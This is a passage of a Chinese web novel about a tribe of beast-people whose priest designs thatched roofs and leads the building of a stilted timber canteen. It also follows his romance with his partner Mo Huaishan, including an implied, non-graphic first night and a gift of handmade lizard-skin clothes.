木族长捏着下巴,若有所思地点点头,“草能吸水,扎成厚实点的草束阻隔雨水,这个想法不错。但芦苇草本身很脆弱,打湿晒干,晒干又打湿,恐怕很快就会腐烂。” 花时安“嗯”了一声,“定期维护、更换就是了,别怕麻烦。盖草顶可不单单是防止漏雨,天气热的时候能隔绝热量,让室内更凉快,天气冷的时候能起到一定的保温效果,让室内更暖和。” “哎哟!”木族长抬眼看着花时安,眼中盛着浓浓的愉悦,脸上满是欣慰,“有你真是部落的福气。这日子越过越好,越来越有盼头,我这心里啊,要多高兴有多高兴。” “灶台、厨房、柴房,营地变得整整齐齐,干干净净,慢慢也有个家的样子了。哦对,明天是不是要盖你说的那个食堂了?我让大族长多给你安排点人手,赶紧盖出来,我都等不及了。”木族长激动地搓搓手。 花时安笑着摇摇头,“不用,这事儿不急。食堂我打算用木材来盖,先砍树,再伐木,然后等木材晒干才能开始盖。最近这段时间呢,每天安排六七个兽人换着来,都学一学,到时候材料准备得差不多再叫人帮忙。” “怎么突然又想用木材盖房子了?”木族长想不通就问。 “不是突然,一开始我就这么打算的。” 花时安慢条斯理地解释:“将来分了家,厨房和柴房就闲置了,盖个简单点的竹屋暂时用一用就行。至于食堂,虽说到时候也不用在食堂里吃饭,但这么大个地方不可能让它空着,用来做仓库什么的正好合适,储存田地里收回来的粮食。” “木屋比竹屋稳定性强,使用寿命也更长,既然要长期使用,肯定选择更结实的木材。当然了,木屋盖起来麻烦许多,费时又费力,而一旦盖好,好好维护,好好保养,住个几十年、上百年都不成问题。” 对分家仍有些抗拒,一听到这两个字,木族长立马垮着脸,喉咙里溢出一声不满的冷哼,“哼,你想得可真长远。” “哎呀,族长。”花时安抓着木族长的胳膊晃了晃,撒娇似的嘟囔:“分了家也住在一块,别这么抗拒嘛,何况这事咱们不是早就说好了吗?” 不听不听,木族长别开脸,“我只是个小族长,如今大族长回来了,这种大事你找他商量去,我说了不算。” 花时安:“……” 说起大族长,花时安还真想找他。 把莫淮山卖了还让莫淮山帮他数钱,甚至两头骗,这笔账该算一算了。但大族长似乎知道要找他算账,有意躲着,天黑狩猎队陆续归来,不见大族长的人影,连晚上吃饭也没露头。 罢了,来日方长,眼下有更重要的事情要办。 吃过晚饭,花时安和莫淮山早早离开营地,踩着夜色前去树洞收拾东西。 兽人的个人物品少得可怜,一张羊皮、一叠蜥蜴皮、一套换洗棕衣裙、一双七成新的棕鞋,除此之外,只剩装东西的竹筒、自制工具、睡觉的竹床、放东西的竹桌。 树洞放不下多余的家具,竹床、竹桌不用搬,剩下这点东西,莫淮山一个人跑一趟就能搬完。但花时安还是跟着来了,即将开始同居生活,总要有点参与感。 工具塞到床下,衣服挂在墙上,牙刷口杯放上竹桌……一大一小两双棕鞋脱在床边,花时安率先爬上竹床,抱着柔软的羊皮滚到里侧。 不是第一次同床共枕,昨晚他们也睡一张床,但家当一搬过来,有些东西变得不一样了,莫淮山的心情也发生了翻天覆地的变化。 心脏被一股名为幸福的暖流包裹,整个人都暖烘烘的,看着躺在竹床里侧的亚兽,莫淮山紧张得掌心出汗,酝酿半天才坐在床边,抬起双腿躺在竹床外侧。 树洞狭窄,竹床更窄,两个成年人并肩躺下,身体难免碰到一起,仅仅是挨着花时安的肩膀,莫淮山就像被烫到一样,呼吸愈发急促。 已经结成伴侣了,抱过亲过,分明可以大大方方地亲近,可今晚与以往每一次都不同。热浪扭曲了空气,竹床变成了炙热的火炉,身体越来越热,莫淮山额间渗出薄汗,却连花时安的手指头都不敢碰一下。 无父无母,无亲无故,没有人教他该怎么和亚兽亲近。花时安隐约察觉到了他的紧张,不紧不慢地翻了个身,从平躺变成面向兽人侧躺。 结成伴侣等同于结成夫妻,花时安毫不扭捏。他侧身抱着莫淮山,似不经意地把手搭在他小腹,身体与他贴得更紧,低声安抚:“别紧张,我们已经是伴侣了,可以做任何事。” “任何事……” 莫淮山轻声重复这三个字,忽地转过身,一把将花时安揉进怀里,呼吸粗重而急促。 然后,然后就没有然后了。 兽人的身体微微颤抖,滚烫的呼吸掠过耳畔,等了半天连一个吻都没有等到,花时安无声叹了口气,于他颈侧印下一个轻吻,“想吗淮山,想与我更亲近吗?” 嘴唇在喉结颤动,清越的嗓音勾人心弦,莫淮山下意识咽了咽口水,险些点头,极力克制才找回理智,“时安,兽人和亚兽亲近是为了孕育幼崽,可我、我不能——” “胡说。”花时安打断他的话,咬了一口脖子予以惩罚。 “我们是正儿八经的伴侣,关起门来想干嘛就干嘛。谁说要孕育幼崽才能亲近?我们是人又不是野兽,亲近从来都不是以繁衍为目的。” “你只用告诉我……” 花时安挠了挠他的下巴,压低嗓音:“想,还是不想。” 莫淮山心脏一颤,低头抵着花时安的额头,眸光幽深晦暗,“想,很想,但我……不知道该怎么做。” “没关系,我教你。” 话音未落,轻柔的吻落在了嘴角。 第107章 第 107 章 人逢喜事精神爽 莫淮山是个优秀聪明的学生, 学习能力非常强,花时安只是稍加引导,适当给予提示,很快他便掌握了要领, 化被动为主动, 进一步探索自己的爱侣。 兽人身材优越, 资本同样傲人,刚开始跟愉悦沾不上边。 新手上路,毫无章法地摸索,花时安只体会到一种难以描述的奇怪感觉,身体快要被撕裂,仿佛一团火焰在肚子里燃烧, 让人难以忍受,但他并不排斥,尽管额头上全是汗,心里却有种异样而陌生的满足感。 初尝禁果,兽人结束得很突然。 花时安刚从极度不适中缓过来,犹如赤脚踩在沙滩上漫步,体会着一点点涌现的愉悦, 而这时, 一声低沉克制的闷哼划过耳畔,莫淮山戛然而止, 整个人蓦地僵住。 空气涌动的热浪凝固了一瞬, 两人在黑暗中对视,皆在对方眼底看到了诧异。 显然意识到自己表现不佳,莫淮山一愣,汗津津的脸颊一下子涨得通红。没脸见人了, 他俯身把头埋在花时安颈侧,尴尬得无地自容。 存在感慢慢减弱,确实结束了。 花时安眨了眨眼,从愉悦的余韵中回过神。他咬着下唇忍了又忍,最终还是没忍住,“扑哧”笑出声。 毫不掩饰的笑声在树洞里回荡开,花时安整个人都在抖,笑得东倒西歪。莫淮山羞愧难当,轻轻摇晃花时安的肩膀,哼哼唧唧地求饶:“不要笑了时安,我、我我……对不起。” 把兽人都吓结巴了,花时安忍下笑意,抽出手拍了拍他的后背,“没有嘲笑你,就是觉得好玩。没事的没事的,第一次嘛,快也是正常的。” “可是、可是……”莫淮山吸了吸鼻子,瓮声瓮气道:“他们说,优秀的兽人会让亚兽感到快乐,你、你好像没有。” 花时安警惕地竖起耳朵,“他们说?今早那些兽人把你叫过去聊这个了?” 莫淮山闷闷地“嗯”了一声。 “啪!” 花时安一巴掌拍在莫淮山肩膀上,“不许学坏,不许和他们瞎聊,尤其是这档子事,不是能大庭广众之下跟人细说的,知道了吗?” 兽人部落既封建又开放,兽人不可能随意进入亚兽树洞,床上那点事儿却能拿出来闲聊,岩知乐都能追着花时安打听,那些兽人自然也会追着莫淮山问。 调侃打趣几句无所谓,要是把细节拿出去乱说…… 咦,花时安想想都上火。 莫淮山委屈巴巴,蹭了蹭花时安的脖颈,闷声解释道:“我没有。他们问我们进行到哪一步,我没有告诉他们。然后那些有伴侣的兽人给我分享经验,我听了几句。” 这还差不多,花时安揉了揉被自己拍红的肩膀,偏头亲了下兽人的耳垂,“他们的话随便听一听就行,不懂的问我。还有啊,我们淮山一点都不差,很棒很棒,我很快乐。” “真的吗?”莫淮山撑着双臂抬起头,腾出一只手给花时安擦汗,有一下没一下地亲他,“时安为什么懂得这么多,这也是外乡人教你的吗?” 谁家好人教这个!花时安一时语塞。 他为什么懂这些?当然是被网络毒害了,青春期的少年有着浓烈的好奇心,点进偶然弹出来的网站,燥的他一宿没睡着。 不知道怎么跟莫淮山说,牵一发动全身,难道现在就要坦白穿越的事了吗?说好的坦诚相待,花时安不想骗他,但确实没做好准备。 又一个黏糊糊的吻落了下来,花时安伸手挡住,透过浓稠的夜色看着莫淮山的眼睛,认认真真道:“这个问题涉及一个秘密,很复杂,我还没想好怎么告诉你。再给我点时间好吗?以后一五一十地告诉你。” “可我现在就想知道。”莫淮山撒娇似的嘟囔。 以前从不刨根问底,花时安说什么是什么,如今关系更加亲密,他终于摆正了位置,不再把花时安当作高高在上的祭司大人,而是伴侣,与他平等的伴侣。 看到他的改变花时安很欣慰,但这个问题确实回答不了。 硬的不行就来软的,花时安摇摇他的胳膊,亲亲他的手背,学着他撒娇:“困了淮山,身上全是汗,黏糊糊的好不舒服,穿上衣服出去打点水回来好不好?我们擦擦汗睡——” 话没说完,莫淮山突然动了一下。 猝不及防,花时安呼吸一滞,满眼不可置信地看着莫淮山,嘴唇微微颤抖,“怎么、怎么又精神了,还不困吗?” “不困,不要睡觉。” 莫淮山眸光魏沉,声音哑了几个度,温热的唇瓣在花时安耳畔辗转,低声哀求:“时安,再让我试试好不好?我会好好表现。” 这压根就不是商量啊!花时安倒吸一口凉气,额头沁出汗,狼狈抬手环住兽人的脖颈,勉强从唇缝中挤出几个音节:“跟谁学的,招呼都不打一声!慢、慢点,我又没说不行。” “时安,时安……” 细密而缱绻的吻落在额头、眼睛、鼻尖,最后堵住花时安的嘴唇。 夜还长,年轻兽人抱着他的爱人,尝试了一次又一次。他似乎不知道累,从天黑到深更半夜,再从月黑风高到天蒙蒙亮。 想就说,这是花时安教他的。 但做到最后,花时安只想爆粗口:想个屁啊! 做好了准备,但明显准备不够充分,一晚上就睡了两三个小时,第二天花时安完全出不了门,早晚两顿饭都是莫淮山端回来,在树洞里解决的, 身体像被卡车来回碾了几遍,整个人都快散架了,骨头痛、腿发软、胳膊酸、嘴巴肿,不管不顾的后果——哪哪都不舒服。 花时安身体还不错,咬咬牙倒是也能爬起来,不至于下不了床,但问题是,兽人没轻没重在他身体上留下好多痕迹,短袖短裙根本挡不住。 他这副模样走出门,只要不瞎都能看出昨晚有多激烈。 不想被族人调侃打趣,沦为别人茶余饭后的谈资,花时安选择逃避。门一关,往床上一躺,连上厕所都是变成兽形出门解决。 而另一位参与者,还是出力的那一个,他打了鸡血似的起了个大早,伺候花时安洗漱、给花时安擦拭身体,给花时安送饭、洗羊皮…… 明明一宿没睡,却看不出一点疲惫,忙完家里甚至还跟着狩猎队外出,可谓是精神抖擞、生龙活虎,像个毛头小子一样,晚上回来居然还缠着花时安折腾了两回。 人与人的差距咋这么大呢? 花时安不禁怀疑自己。 逃避解决不了问题,一身红痕短时间内消不了,花时安不可能真在家里躲个五六天,所以两天后,较为明显的印子淡去一些,他硬着头皮钻出树洞。 似乎知道他脸皮薄,特意打过招呼,花时安顶着一身暧昧的痕迹出门,没一个人打趣调侃,人们各司其职,各自忙碌,不说问,不多看,十分有边界感。 整挺好,花时安整个人都轻松了不少。 起早贪黑地干,尽管只有六七个兽人,但短短两天时间,部落门前草地已经堆了一大剔除枝叶、笔直而粗壮的树木。 照这个速度,再砍两天,盖食堂所需要的木材差不多就够了。不过树木必须充分晒干水分才能加工、使用,这是一个漫长的过程,食堂短时间内盖不了。 闲了两天突然有点找不到事情做,吃完早饭花时安在营地里溜达了一圈,本想跟着采集队一块外出,但他犹豫这会儿,木族长已经带着采集队走远了。 采集队、狩猎队相继外出,砍树小队也钻进了丛林中,唯有老人小孩坐在门前挽柴。花时安在河边站了一会儿,实在不知道做什么,索性沿着河岸往下走,准备去帮忙炼铁。 初夏最后一缕柔风散尽,盛夏隆重登场。 曙光初照的清晨,本该清逸而凉爽,森林却一股浓浓的暑气笼罩。热浪在空气中肆意翻涌,走路都觉得热,赫赫炎炎的高炉四周就更不用说了,呼吸都像在吞火球。 所以花时安迎着热气上前说明来意,晒黑了几个度的长晴果断推他走,说什么这是兽人干的活,亚兽别来凑热闹,还说花时安在这帮不上忙,还会打断他们的节奏,耽误他们干活。 徒弟早已成了熟练的铁匠,翅膀硬了说话就是硬气。 花时安没急着离开,来这边晃了一圈还真让他找到点事做。处理木头还需大量工具,如平推刨、手锯、槽刨……他把自己的需求大致给长晴描述了一下,而后在长晴的再三保证中,这才不情不愿地离开。 回营地也没闲着,花时安找到之前晒干的木头忙活起来。 盖房子不仅需要铁器,还需要其他辅助工具,比如用于弹线标记的墨斗、检测垂直度的线锤、校验方正的直角尺…… 事情一下就多起来了,这些东西简直一个比一个难制作。 能咋办嘛,食堂可以随便盖,但之后盖自家房子呢? 为了自家房子更完美,花时安撸起不存在的袖子:开干! 第108章 第 108 章 建造木屋 “好热好热, 天怎么能热成这样?受不了了!” “心静自然凉,太阳才刚出来,能有多热?” “站着说话不腰疼,有本事别坐那刨木头, 来帮忙搬木材!搬个几趟看你热不热, 我一身汗都够洗个澡了, 你还跟我心静自然凉!” “哈哈哈!我才不去,谁让我现在的任务是刨木头呢。” “说话归说话,手上活别停!” “大家加油,争取今天把食堂盖出来!” …… 昼长夜短的盛夏,平常刚刚起床的时间,太阳已早早升起, 好似一个炙热的火球,挂在天边发光发热,源源不断地释放热意。 狩猎队今日没有外出,几十个兽人齐齐聚集在营地中,刨木头、搬木料、钉桩柱,人们顶着炎炎烈日劳作,肆意挥洒汗水。 烈日炙烤, 早先砍回来的树木均已晒干, 而后经过二十多天的加工,光秃秃的树干变成了桩柱、横梁、龙骨、木板、木条……各种不同样式的木材堆在营地。 整个部落共同努力, 盖食堂所需要的材料全部备齐, 而今天,艳阳高照的好天气,激动人心的好日子,食堂正式开工! 基坑昨天夜里就挖好了, 兽人将加工好的粗桩柱抬上前,依次埋入基坑中。方法基本与竹屋一致,只是基坑深度,桩柱大小略有不同。 木屋整体较沉,基础一定要打好,昨夜摸黑挖了二十多个基坑,平均深度在四米左右。而桩柱是精心挑选出来的树干,随便一根都比兽人的大腿还粗,剥去树皮凿出卯眼,最后用平推刨打磨成方形柱子。 圆柱更方便加工,为什么不刨成圆形? 好奇的兽人问过这个问题,花时安的回答是——虽然现在没见过,但森林中极有可能存在蛇虫鼠蚁,有棱有角的方柱能有效防止蛇鼠爬进屋内。 桩柱深深埋进基坑中,填埋物由泥土换成了从河里筛出来的碎石砂砾,最后只需用泥土封顶夯实,桩柱便如电线杆一般牢牢焊在地面,极大程度地增加了稳定性和抗拔性。 二十余根长短一致的方形木柱矗立在营地中,基础终于打好了,接下来又到了愉快的“拼乐高”环节,兽人们搬来比桩柱稍细一圈的横梁,搭着梯子爬上桩柱,麻利地进行组装。 卯眼已经提前凿好,横梁往两根桩柱中间一穿,轻踩一脚便严丝合缝地卡了进去。一根接一根,十余根地板横梁很快就安装好,但此时柱与梁间隔太远,框架上缝隙太大,不方便铺设地板,所以还得竖着将次梁组装上去,也就是地板龙骨。 桩柱之中搭横梁,横梁之上铺次梁,一环扣一环,一个稳定性极强的离地“骨架”就组装好了。花时安踩着竹梯爬上去验收,从上往下看,梁与梁之间的空隙大小一致,变成了一个个精致的小方格。 “没有任何问题,非常完美,可以开始铺地板了!” 花时安踩着竹梯一跃而下,扯着嗓子高呼一声,兽人们秒变山野里的猴子,发出“呜呜哦哦”的怪叫,抱着木板风风火火地冲了上去。 干栏式木屋可全屋使用榫卯结构,地板也不例外,但铺地板所需要的木板太多了,每一块都凿出凹槽卡扣是个大工程,费时又费力。 所以花时安投机取巧,选择用铁钉来固定底板,榫卯结构为辅助。这样虽然会浪费一些来之不易的铁,但强强结合,木屋的稳定性只会强,寿命也会更长。 厚重的木板平行铺设在横梁上,一片紧挨一片,中间不留一丝缝隙。三十多个兽人齐上阵,很快,骨架中间的小方格全部被填满,从上往下看,好似一个开阔平坦的大平台。 地板没有完全铺满,边缘横梁与桩柱还裸露在外,这些横梁上端有事先凿好的卯眼,只需将凿出榫头的长木板竖着插进去,骨架便有了厚实的墙体。 话不多说,随着花时安一声令下,满头大汗的兽人将提前加工好的长木板捆住,陆续运上平台,即刻开始安装。 天太热了,在太阳底下爬上爬下,敲敲打打,一群兽人简直跟水里捞出来似的,浑身湿透,甚至头发都在往下滴水。 担心他们热中暑,花时安跑回厨房煮了几锅淡盐水,放凉一些端出去。结果把竹筒递到兽人手里,尝过水的人全都一脸扭曲,皱着眉头抱怨。 说花时安故意整人,又热又渴,居然给喝热乎乎的盐水! 对此花时安表示:喝,捏着鼻子也得喝! 高温环境中大量出汗,淡盐水有助于维持□□平衡。 “叮叮哐哐”的敲打声一直持续到傍晚,墙体组装完,兽人们又在墙体顶部架设背檩和斜梁,搭建出一个三角形屋顶框架,最后在斜梁上铺设椽子,在椽子上铺设竹片与捆扎好的芦苇束,木屋宣告完工。 三十多个人,一天时间还真把木屋盖出来了,兽人们可谓是拼尽全力,不过木屋不算彻底完工,还有一些细节没处理,比如—— 花时安正掰着手指头琢磨,采集队踩着夜色回来了。 短短一天时间,凭空冒出这么大一座木屋,亚兽们直接看呆了,背篓都顾不上放,一窝蜂似的冲到木屋跟前,近距离欣赏。 惊叹的、夸赞的,嘈杂的人声此起彼伏,夜色笼罩的营地秒变闹市,而兴奋的余韵散尽,一部分亚兽看出了问题所在。 二十多根桩柱支撑着一个硕大的平台,木屋盖在平台上,想进屋必须先上平台,而平台离地整整一米,都快和小个子亚兽脖子齐平了,这该怎么上去? 趁众人的注意力被木屋吸引,岩知乐麻溜跑到花时安身旁,问出心中疑惑:“祭司大人,食堂会不会盖得太高了一点?比柴房高好多,这,我们怎么上去啊?” 他说话声音不算小,十多个亚兽听到动静立马围了过来。 同样对这个话题感兴趣的红映兰指向靠在树干上的竹梯,抢在花时安之前开口:“诺,那不是有梯子嘛,搭在平台上就能爬上去了。” “爬梯子不算费劲,我们年轻人倒没关系,可……”长月月顿了一下,余光扫了眼草地,小心翼翼道:“那些年纪大的,腿脚不便的人每天爬上爬下,怕是有点吃不消哦。” 红映兰眉头一皱,“对哦,这也是个问题。” 讨论不出个结果,三人不约而同地看向花时安。 接收到信号,花时安笑笑道:“木屋还没有彻底完工,你们担心的问题会解决的。平台边上的缺口看到了吗,那是我们预留的楼梯口,后门也有一个,明天我们会在缺口与地面之间安装一道楼梯,到时候上下都方便。” “楼梯是什么?”岩知乐不懂就问。 花时安:“一阶一阶的梯子,类似竹梯的木梯,但——” “竹子换成木头?那也没区别啊!”岩知乐急吼吼地说。 “话还没说完呢,急什么。”花时安轻轻拍了拍他的脑袋顶,慢条斯理地解释道:“楼梯竹梯都是梯,但两者之间还是有很大差别的。” “竹梯一般干活用,讲究轻便,阶梯比较陡,几乎垂直。楼梯通常固定在一个位置,主打平稳,阶梯相对平缓。明天做出来你们就知道了,我说那种楼梯,老人小孩都能走。” 阿母腿脚不便,听到这话,长月月笑了起来,“那太好了,谢谢祭司大人。” 目不转睛地盯着木屋看,岩知乐很快又发现了新的问题。 他指着平台边缘纵横交错的桩柱横梁,似乎有点不满意,噘着嘴问花时安:“祭司大人,边上支棱出来的木头之后是不是该锯掉啊?多漂亮的木屋,就因为这些木头,看着乱七八糟的。” 木板没来得及将平台铺满,桩柱横梁张牙舞爪地从地板底部支棱出来,看着确实不太美观,但锯是不可能锯的,花时安道:“木屋周围一圈铺上地板,到时候再围一圈护栏,直接就是一个通风又漂亮的阳台,我可舍不得锯掉。” “阳台?”又听到陌生词汇,红映兰茫然眨眨眼。 工具人花时安又开始解释:“建筑室内空间的延伸,说白了就是一个通风透气的平台。可以晒东西,天气热了,晚上还可以搭把椅子在阳台吹风,舒服得很。” “哇!好想看看木屋彻底完工的样子啊。” “很快地,祭司大人他们一天就把木屋盖出来了,明天应该就能全部收拾完了!” “虽然提前准备了木材,但一天时间就盖出这么大一座木屋,祭司大人和兽人也太厉害了!” “走走走,把梯子搬过来,咱们上去看看!” 亚兽纷纷卸下背篓,风风火火地冲向竹屋。 跑到一半,岩知乐似乎想到了什么,脚下步子一顿,扭头朝花时安喊了一声:“祭司大人,我们今天又采到两种奇怪的果子,你看看能不能吃,在背篓里!” 话音刚落,人就跑远了。 天气越来越热,森林中奇奇怪怪的果蔬也多了起来。 采集队收获颇丰,亚兽背篓里的植物也从原来的马齿苋变成了前段时间找到的野南瓜、黄瓜、豇豆、山莓果、黄花菜…… 一堆熟悉的果蔬中,花时安看到几颗红彤彤的野果,其个小而圆,表面光滑,乍一看很像有毒的红颠茄。但拿到鼻子底下闻一闻,清新熟悉的香味扑鼻而来,花时安眼睛亮了起来。 毛辣果,一种野生小番茄。 还没有结束,花时安顺手把小番茄塞进嘴里,又从背篓里拿出一个椭圆形,形似鹅蛋的紫色大家伙。 辨认小番茄还需闻一闻,而这个完全不用,这太熟悉了,菜市场、餐桌上随处可见,花时安一眼就认出来了,茄子,软绵细腻的紫矮茄。 第109章 第 109 章 小惊喜 “好累好累, 我要散架了!” 该干的活一点没少干,顶着大太阳折腾一天,花时安累得筋疲力尽,回屋便横着往竹床上一躺, 犹如毫无生机的人偶, 一动不动。 凡事亲力亲为, 花时安这个祭司在部落地位愈发稳固。 之前从外面回来的族人对他多少有点不服气,但经过几个月的相处,亲眼见到花时安的各种“发明”,一个个佩服得五体投地。 作为族人,莫淮山庆幸有这样的祭司,可作为伴侣, 他心疼把自己当兽人折腾的亚兽。 累坏了,竹床上的亚兽闭着眼,根根分明的长睫轻颤,上一秒还在说话,抱怨累,下一秒却像睡着了,呼吸愈发平稳。 刚洗完澡回来, 花时安身上的棕裙还在滴水, 半截身子横在床上也睡不好,莫淮山把他的湿衣服挂起来, 换掉自己的棕裙, 而后弯腰坐在床边,伸手解花时安的腰带。 手刚放上去花时安就醒了,但他并未睁开眼,迷迷糊糊拍莫淮山的手, 小声嘟囔着:“累,今晚不来,别脱我裙子。” 开了荤就没节制,脱他裙子准没好事。 莫淮山愣了两秒才反应过来,扑哧笑出声,“时安,我没有硬要来,棕裙上全是水,会把床打湿的,脱下来或者换一条再睡。” 说罢,莫淮山再度伸出手。 脱棕裙就跟要他命似的,花时安噌地站起身,麻利地解开腰带,“我自己换,帮我把那条干净的拿过来。” 干净棕裙就放在床尾,莫淮山压根没动,手一伸就拽了过来。见他如此利索,花时安放在腰带上的手微微一顿,抿了抿嘴唇,神情有些不太自然,“你、你转过去。” 莫淮山眉心微动,眼中盈满疑惑,“时安不好意思吗?可你的身体我都看过了,包括——” “哎呀,那不一样,你赶紧的,转过去。” 即便该做的都做了,该看的不该看都看了,但没有那种暧昧气氛的加持,当着兽人的面换棕裙还是有点怪怪的。 不完全是害羞,还有一种说不上来的别扭。 犟不过花时安,莫淮山默默转过头,可花时安刚脱下棕裙,把自己扒了个精光,莫淮山像想到了什么,倏地一回头,“对了时——” 话没有说完,扭头看着还没来得及穿好棕裙的花时安,莫淮山双手举过头顶,佯装求饶:“我忘了,不是故意的。” 看都看完了,是不是故意已经不重要了,花时安懒得伸手挡,故作镇静扬了扬下巴,“想到什么了,别吊我胃口呀。” “哦对,等我一下。” 莫淮山走到竹桌前,钻到桌子底下翻找片刻,拿出一沓蜥蜴皮,伸手递给花时安,“给,时安你别穿棕裙,穿这个。” 蜥蜴皮还是那张蜥蜴皮,有些地方却不一样了,经过鞣制、晾晒、裁剪、缝制……最终,一张完整的绿鬣蜥皮变成了一件短袖皮衣,两条过膝皮裙。 皮衣皮裙缝制得很好,接口处针脚密实,整齐排列,几乎看不出一点瑕疵,而蜥蜴皮本身纹理独特,深浅交织呈现出自然的错落感,看上去莫名有种高级感。 质地柔软细腻,薄而轻盈,贴着皮肤凉悠悠的,很适合夏天穿。花时安惊呆了,爱不释手地翻看皮衣,过了好半晌才抬头看向莫淮山,一脸诧异:“我们同吃同住,每天一起回家出门,你、你什么时候背着我缝的皮衣?” “夜里。”莫淮山傻呵呵地笑,“之所以现在才拿给你,就是因为缝得太慢了,每天等你睡着了,我才偷偷拿出来缝一会儿,昨晚刚刚缝好。” “半夜缝衣服,真有你的!光线暗的时候做这些细致活,你也不怕伤到眼睛。”担心大过惊喜,花时安愤愤瞪了他一眼。 一看这反应,莫淮山顿时紧张起来,他略显局促地抿了抿嘴唇,小心翼翼道:“时安,你、你不喜欢吗?” “傻子。” 皮衣往床上一丢,花时安上前两步,双手环住莫淮山的腰,一头扎进他的怀里,脸埋在胸口瓮声瓮气道:“你亲手缝的,我怎么会不喜欢,我高兴还来不及,但你没必要瞒着我,光明正大地缝啊,干嘛半夜偷偷摸摸。” “惊喜,他们说偷偷摸摸,在你不知道的情况下拿给你才叫惊喜。”莫淮山明显松了一口气,抬手回抱着花时安,低头吻了吻他的发顶。 谁能拒绝伴侣的惊喜呢,花时安肩膀微颤,闷闷笑了两声,“好吧,确实很惊,也确实很高兴。皮衣皮裙缝得好漂亮,我超级喜欢。可我也担心你熬夜弄坏眼睛,白天干活那么累,晚上还要偷摸缝衣服,这段时间估计觉都没睡好,我们淮山辛苦了。” 莫淮山摇摇头:“不辛苦,这是我应该做的。求偶本就该拿出诚意,不能委屈了你,这套皮衣皮裙是补给你的,往后我会给你更多,别人有的你要有,别人没有的你也要有。” “别光顾着我,两条棕裙加两条皮裙,我都四条裙子了!也不知道给自己做一条,难不成打算让亚兽穿金戴银,自己光着屁股?” “我有两条棕裙,没有光着。” 花时安不依不饶:“我不管,之后分到兽皮先给你做。” 莫淮山拍拍花时安的后背,笑着应了一声:“好好好。时安先去试试衣裙,穿上看看合不合身。” 穿新衣服咯! 花时安从莫淮山怀里钻出来,拿着皮衣往头上套。 皮衣皮裙是照着花时安的棕衣棕裙缝制的,大小正好合适,合身不紧绷。蜥蜴皮轻薄,自带弹性,穿在身上凉快不说,做大动作也不会束手束脚,非常完美。 之前怎么没发现,蜥蜴皮原来这么适合做衣服,花时安暗暗琢磨,下回抓到绿鬣蜥再去讨要一张,做点内衣内裤之类的。 伴侣缝的新衣服,花时安可不舍得穿着睡觉,试穿结束立马脱了下来,叠整齐放在床尾。 棕裙似乎也没有穿的必要,花时安爬上床躺着,勾唇笑了笑,抛给莫淮山一个意味深长的眼神,“上来睡觉,今晚奖励你。” 莫淮山喉咙动了动,眸光微沉,转身便躺上竹床。 血气方刚的年轻人,想肯定是想的,天天来都不腻,但莫淮山躺好后,只是伸出手臂给花时安当枕头,把他圈在怀里抱着,低声喃喃:“收了礼物就是我的人了,时安,你是我的亚兽。” “是你的是你的,”花时安莫名亢奋,猛地晃动脑袋,使劲蹭莫淮山的脖子,“收不收礼物都是你的,早就是你的了。” 未稀释的蜂蜜一饮而下,从嘴巴到喉咙,从胃到心脏,整个人都甜滋滋的。胸口被填满,一种名为幸福的情绪正在发酵,莫淮山轻拍花时安的后背哄睡,自己却毫无睡意。 “不领取奖励吗?”花时安上下其手,在他怀里蛄蛹。 身体诚实地有了反应,莫淮山却摇摇头,在他柔软的发丝印下一个克制的吻:“不了,你今天太累了,再说送东西给你又不是为了那种事。” “哟,还挺乖。” 确实累了,花时安亲了亲莫淮山的下巴,彻底安分下来,老老实实蜷在他怀里,“睡觉睡觉,奖励积攒着,下次再领取。” “时安。” “嗯?” 睡不着,想着营地里宽敞精致的木屋,莫淮山捏了捏花时安的耳垂,好声好气地商量道:“等营地那边忙完,我们也盖一座木屋好不好?木屋宽敞亮堂,住着比树洞舒服多了。” 聊这个他可就不困了,花时安在莫淮山怀里拱了两下,探出头,一本正经道:“咱俩想到一块了,我也是这样打算的。再过不久就是雨季了,到时候树洞肯定特别潮湿,一直住在又小又窄的树洞里也不是事,我们也要有一座属于自己的房子,但是我还没想好该怎么安排,怎么平衡。” “平衡什么?有什么顾虑吗?”莫淮山问。 花时安:“盖自家房子,不好去麻烦族人,从砍树到处理木材,再到盖房子,整个过程只有我们两个人。盖一座小木屋,我们两个肯定能盖出来,但时间嘛,估计得花个十天半个月。” 原来是因为这个,莫淮山拍拍花时安的肩膀,轻声安抚:“不用担心,明天我去跟大族长说一声,暂时不参与狩猎,先把咱们家房子盖好。” “不妥不妥。”花时安想都没想,飞快摇摇头:“好不容易才融入集体,不能长时间脱离队伍,不然那群兽人又会对你有意见。而且不参与部落集体活动,却还要吃部落的食物,一天两天无所谓,时间长了换谁心里都不舒服。” 还有最重要的一点花时安没说,莫淮山也想到了。 阴暗逼仄的树洞与明亮宽敞的木屋呈鲜明对比,食堂一盖好,有盖房子这个念头的肯定不止他们一家,要是每个人都不参与采集狩猎留在家里盖房子,部落岂不是乱套了? 还能怎么办呢?莫淮山皱着眉头思索片刻,再度开口:“那就慢慢盖。先用两天时间把盖房子要的树砍好,然后抽空闲时间出来处理木材,狩猎队也不是每天都回来得晚,回得早多干,回得晚少干,花多一点时间,总能把房子盖好。” “白天出门狩猎,晚上回来还不能休息,这样你会很累、很辛苦的。”又要“上班”又要盖房子,花时安也想不出更好的办法,噘着嘴巴闷闷不乐。 莫淮山揉了揉花时安毛茸茸的头顶,嘴角微微扬起,“我不怕累,我有的是力气,时安不是总说我嘛,‘用不完的牛劲’。” “嘿,骂你你还骄傲上了。” “我当时安在夸我。” “不跟你贫了,睡觉睡觉,明天事情还多。” 第110章 第 110 章 桌椅板凳 事情不是一般的多, 吃完早饭,忙碌的一天正式开始。 平台边缘还等着收尾,好在材料早已备齐,花时安派了十个人上去铺地板、安装护栏。食堂面积是厨房的数倍, 前后各开一道门, 窗户总共是六扇, 于是花时安又派了十个人前去安装门窗,顺便组装固定楼梯。 至于剩下十多个人……花时安垂眸看着脚边堆积成山的木板木条,无奈揉了揉眉心,捧着嘴巴高呼一声:“没安排到活儿的人抓紧过来,带上锤子和凿子,咱们赶一批桌椅板凳出来!” “好的祭司大人, 马上到!” “来了来了,桌椅板凳我来了!” …… 刚起床不久,正是有干劲的时候,一群精力充沛的兽人跟打了鸡血似的,拿着工具风风火火地围了上来,仿佛有着用不完的力气。 前面精力有多旺盛,后面就有多痛苦。 虽然木材早就锯成了木板、木条, 并打磨好了, 只需凿出削榫头凿卯眼即可,但这种细致活格外磨人, 一大堆木材才处理到一半, 草地上哀声四起,兽人们悔不当初,恨不得跑回去干体力活。 反复干一件事确实会让人麻木,什么能重新激发出兽人的斗志?花时安可太清楚, 当然是没见过的新鲜事物。 